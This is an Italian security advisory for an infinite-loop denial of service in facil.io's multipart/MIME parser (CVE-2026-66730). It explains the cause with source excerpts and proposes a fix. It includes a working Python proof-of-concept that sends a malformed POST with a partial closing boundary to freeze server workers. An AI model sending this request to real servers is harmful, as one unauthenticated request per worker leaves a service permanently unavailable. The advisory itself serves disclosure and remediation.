
Avviso di sicurezza: DoS a ciclo infinito nel parser MIME di facil.io (confine parziale)
ID CVE assegnato: CVE-2026-66730
Prodotto: facil.io
Versioni interessate: facil.io >= 0.6.0 (tutte le 0.6.x, tutte le 0.7.x, master); introdotto insieme al parser MIME in 0.6.0
Componente: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (Loop con Condizione di Uscita Irraggiungibile), CWE-400 (Consumo Incontrollato di Risorse)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Ricercatore: Theodosis Paidakis
Una richiesta multipart/form-data il cui corpo termina con un boundary di chiusura parziale (ad esempio, --B- invece di --B--\r\n) fa sì che http_parse_body() venga eseguito in un ciclo infinito al 100% di CPU. Il parser MIME restituisce 0 byte consumati quando si blocca su un boundary parziale, ma il ciclo chiamante verifica solo . Nessuno dei due flag viene impostato, quindi il parser viene richiamato sugli stessi dati per sempre. Il server non va in crash, quindi nessun worker viene rigenerato. Una singola richiesta POST non autenticata congela permanentemente un worker.
!done && !errorQuesto non è correlato a CVE-2026-41146, che è un ciclo infinito nel parser JSON (fio_json_parser.h). Questo bug si trova nel parser MIME/multipart.
Parte 1: Nessun controllo di avanzamento nel chiamante
lib/facil/http/http.c, righe 1963-1967
// lib/facil/http/http.c:1963-1967
do {
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons; // += 0 quando il parser si blocca
p.buffer = fiobj_data_pread(h->body, p.pos, 4096); // viene restituita di nuovo la stessa slice
} while (p.buffer.data && !p.p.done && !p.p.error); // nessun flag impostato -> ciclo infinito
Se http_mime_parse restituisce 0 e non imposta né done né error, p.pos rimane fisso, fiobj_data_pread restituisce lo stesso buffer e il ciclo non ha via di uscita.
Parte 2: Quando http_mime_parse restituisce 0
lib/facil/http/parsers/http_mime_parser.h, righe 314-329 e il ramo consume_partial
Il parser esamina la sezione del valore alla ricerca di un boundary completo. Quando il corpo termina con \n--B- (quattro byte in meno di un boundary di chiusura completo \n--B--\r\n), la scansione trova \n seguito da quello che sembra l'inizio di un boundary, ma non può confermare che sia completo:
// lib/facil/http/parsers/http_mime_parser.h:314-329 (scansione del valore)
do {
end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
(size_t)(stop - end) >= (4 + parser->boundary_len) &&
(end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
// boundary parziale -- transizione a consume_partial alla prima chiamata
parser->in_obj = 1;
goto consume_partial;
}
Alla chiamata successiva, in_obj è già impostato. Il ramo consume_partial trova lo stesso \n prima di --B-, quindi sposta indietro il puntatore di ritorno prima di qualsiasi dato non consumato:
// lib/facil/http/parsers/http_mime_parser.h (ramo consume_partial, ~righe 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
end -= 2;
if (end[0] == '\r') --end; // end ora punta prima del \n
pos = end; // il puntatore di ritorno è posizionato dietro qualsiasi nuovo dato
goto end_of_data; // restituisce 0 byte consumati
}
pos finisce a o prima di dove era iniziato. La funzione restituisce 0. Di nuovo nel chiamante, cons = 0, p.pos non si muove e il ciclo si ripete.
Avvia il server, quindi esegui:
# poc_mime_infinite_loop.py
import socket, time
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=field\r\n"
"\r\n"
"value\r\n"
"--B-" # boundary di chiusura parziale: mancano i finali '-\r\n'
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
s.recv(4096)
print("got response - not vulnerable")
except socket.timeout:
print("hung for 10s - server spinning at 100% CPU")
Osservato: processo del server al 99.7-100% di CPU. Necessario kill -9 per il ripristino.
Un worker congelato non esce mai, quindi non avviene alcuna rigenerazione. Con un numero sufficiente di richieste (pari al numero di worker), il server smette di servire tutti i client in modo permanente finché non viene riavviato manualmente. Non sono richiesti autenticazione, header speciali o stato precedente.
Aggiungi un controllo di avanzamento al ciclo in http_parse_body:
lib/facil/http/http.c, righe 1963-1967
// lib/facil/http/http.c:1963-1967 -- correzione proposta
size_t last_pos = (size_t)-1;
do {
if (p.pos == last_pos) { p.p.error = 1; break; } // nessun progresso: interrompi
last_pos = p.pos;
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons;
p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);